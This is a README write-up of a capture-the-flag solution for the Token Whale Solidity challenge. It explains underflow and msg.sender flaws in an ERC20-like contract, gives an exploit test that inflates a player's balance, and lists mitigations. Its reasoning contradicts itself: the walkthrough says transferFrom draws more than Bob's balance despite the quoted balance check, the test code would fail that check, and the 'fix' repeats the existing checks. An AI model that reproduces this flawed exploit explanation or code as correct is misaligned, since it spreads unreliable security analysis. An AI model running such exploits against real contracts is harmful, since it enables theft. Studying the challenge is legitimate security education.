This repository contains the solution for the Token Whale Challenge, which focuses on exploiting vulnerabilities in a poorly implemented ERC20-like token contract (TokenWhaleChallenge
) to manipulate balances and bypass restrictions. The objective is to accumulate at least 1,000,000 tokens using any method that leverages the vulnerabilities in the contract.
The contract is written in Solidity 0.4.25, which lacks built-in checks for arithmetic overflow and underflow. This enables malicious actors to manipulate balances by exploiting these behaviors. For example:
- If
balanceOf[msg.sender] < value
, subtractingvalue
results in a wrap-around underflow (uint256
will become2^256 - (value - balance)
). - This underflow allows the balance to be artificially inflated to astronomically high values.
The _transfer
function uses msg.sender
instead of from
to reduce the sender's balance. This is a critical flaw:
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
- When
_transfer
is called fromtransferFrom
,msg.sender
is the caller (e.g.,SetupContract
) rather than the actualfrom
address (Bob
in this case). - This allows any account to manipulate balances by acting as
msg.sender
, without actually deducting tokens from the intended sender.
The contract only includes the following checks in transfer
and transferFrom
:
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
- There is no additional validation to ensure that balances remain consistent or that tokens are not created out of thin air.
- Combined with the use of
msg.sender
in_transfer
, this opens the door to multiple exploits, including manipulating balances during swaps or transfers.
Exploit the above vulnerabilities to artificially inflate the PLAYER
account's balance to exceed 1,000,000 tokens
.
-
Initial Setup:
- Deploy the
SetupContract
to initialize the testing environment. - Transfer a small portion of tokens (
500 tokens
) fromPLAYER
toBob
.
- Deploy the
-
Trigger Underflow:
- Use
transferFrom
to transfer more tokens thanBob
actually has. - The
allowance
mechanism ensures the contract doesn’t block the transaction. - The balance underflow causes the
PLAYER
account’s balance to become astronomically large due to theuint256
wrap-around.
- Use
-
Verify Completion:
- After the underflow manipulation, check the
isComplete()
function. - The
PLAYER
balance now exceeds1,000,000 tokens
, meeting the challenge requirements.
- After the underflow manipulation, check the
function test_underflowExploit() public {
uint256 initialBalance = token.balanceOf(PLAYER);
uint256 transferAmount = 1100; // More than the PLAYER balance to trigger underflow
// Step 1: Transfer a portion of tokens to Bob
token.transfer(address(bob), initialBalance - 100);
// Step 2: Bob approves the SetupContract to spend tokens
bob.approveForSender(transferAmount);
// Step 3: TransferFrom triggers underflow
token.transferFrom(address(bob), PLAYER, transferAmount);
// Verify the exploit succeeded
uint256 finalBalance = token.balanceOf(PLAYER);
assert(finalBalance >= 1_000_000); // Condition met
}
-
Use Updated Solidity Versions:
- Always use a modern version of Solidity (
>= 0.8.0
) to benefit from built-in overflow/underflow checks.
- Always use a modern version of Solidity (
-
Validate All Transfers:
- Use comprehensive checks in
transfer
andtransferFrom
functions to ensure balances remain consistent. - Example:
require(balanceOf[from] >= value, "Insufficient balance"); require(balanceOf[to] + value >= balanceOf[to], "Overflow detected");
- Use comprehensive checks in
-
Correct Usage of Parameters:
- Always pass explicit
from
andto
parameters to internal transfer functions like_transfer
. Avoid relying onmsg.sender
for logic involving external interactions.
- Always pass explicit
-
Secure Allowance Mechanisms:
- Limit the potential for abuse by carefully managing
approve
andallowance
mechanisms.
- Limit the potential for abuse by carefully managing
The TokenWhaleChallenge
demonstrates the importance of secure and robust smart contract development. Exploiting outdated Solidity versions and flawed logic, attackers can manipulate balances and bypass restrictions. The exploit highlights critical practices for secure smart contract design:
- Using modern compilers.
- Implementing robust arithmetic and balance checks.
- Explicitly passing parameters to avoid misuse of
msg.sender
.